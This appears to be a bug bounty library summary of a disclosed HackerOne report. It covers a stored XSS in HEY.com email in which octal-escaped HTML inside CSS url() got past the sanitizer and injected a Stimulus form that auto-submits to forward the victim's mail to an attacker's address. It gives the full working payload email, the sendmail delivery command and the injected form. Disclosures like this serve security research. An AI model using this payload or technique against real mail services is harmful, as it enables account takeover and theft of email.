# HEY.com email stored XSS

CSS url() with octal-escaped HTML in a <style> tag bypassed HEY's email sanitizer, injecting a Stimulus form that auto-submitted to set up email forwarding and compromise accounts.

- Payout: $5,000
- Severity: critical
- Program: Basecamp
- Found by: jouko
- Disclosed: 2020-10-27
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/982291
- Library page: https://bugbountylibrary.com/r/h1%3A982291
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:critical tech:email technique:chained technique:parser-differential vuln:misconfiguration vuln:xss

**Target:** HEY.com email HTML sanitizer / webmail message rendering
**Root cause:** The HTML sanitizer decoded CSS octal escapes (\00003c etc.) into angle brackets after filtering, and allowed encoded <message-content>/<template> tags to escape the DOM shadowroot, so attacker HTML landed in the rendered DOM.
**Steps:**
1. Craft a text/html email whose <style> block contains `url(cid://\00003c\000027message-content\00003e...` sequences encoding `<`, `'`, `>` etc.
2. Include encoded `<message-content><template><style>` opening tags to break out of the shadowroot, then encoded `<form action=/my/accounts/266986/forwardings/outbound data-controller=beacon><input name=contact_outbound_forwarding[to_email_address] value=attacker@example.com></form>`.
3. Send via `/usr/sbin/sendmail -t < email.txt` to the victim's @hey.com address.
4. Victim opens the email; the sanitizer decodes escapes, the injected form renders, Stimulus beacon controller auto-submits it with the framework-inserted CSRF token.
5. Forwarding to attacker address is created; alternatively set form action to attacker URL to exfiltrate the CSRF token.
**How found:** Researcher noticed the sanitizer decodes CSS escape sequences after filtering, and that encoded opening tags could escape the DOM shadowroot; experimented with octal-escaped HTML inside a <style> url() to smuggle a form past the filter.
**Exploitation:** Attacker emails raw HTML to victim. On view, the decoded CSS payload escapes the shadowroot and injects a Stimulus-driven form that auto-POSTs to /my/accounts/<id>/forwardings/outbound with the victim's CSRF token, silently configuring email forwarding to an attacker-controlled address (account takeover of mail flow). Account ID must be guessed/brute-forced. Variant: point form action at attacker server to steal CSRF token for follow-up attacks.
**Escalation:** Chained sanitizer bypass with Stimulus framework auto-submit and CSRF token reuse to achieve persistent mail forwarding / account compromise; noted potential CSP bypass via JS frameworks.
**Insight:** When a sanitizer runs before CSS/HTML entity decoding, smuggle markup via CSS escape sequences (\00003c) inside url() in <style>; also check whether encoded opening tags let you escape shadow DOM boundaries the filter assumes are closed.

## Proof of concept (copied exactly from the original report)

**Malicious HTML email with CSS url() payload**

```
From: jouko@klikki.fi
To: jouko@hey.com
Subject: HackerOne test
MIME-Version: 1.0
Content-type: text/html

<style>
url(cid://\00003c\000027message-content\00003e\00003ctemplate\00003e\00003cstyle\00003exxx);
url(cid://\00003c/style\00003e\00003c/template\00003e\00003c/message-content\00003e\00003cform\000020action=/my/accounts/266986/forwardings/outbounds\000020data-controller=beacon\00003e\00003cinput\000020type=text\000020name=contact_outbound_forwarding[to_email_address]\000020value=joukop@gmail.com\00003e\00003c/form\00003exxx);
</style>
```

**Sendmail command to deliver raw HTML email**

```
/usr/sbin/sendmail -t < email.txt
```

**Injected form that auto-posts via Stimulus beacon**

```
<form action="/my/accounts/266986/forwardings/outbound" data-controller="beacon">
<input type=text name="contact_outbound_forwarding[to_email_address]" value="joukop@gmail.com">
</form>
```

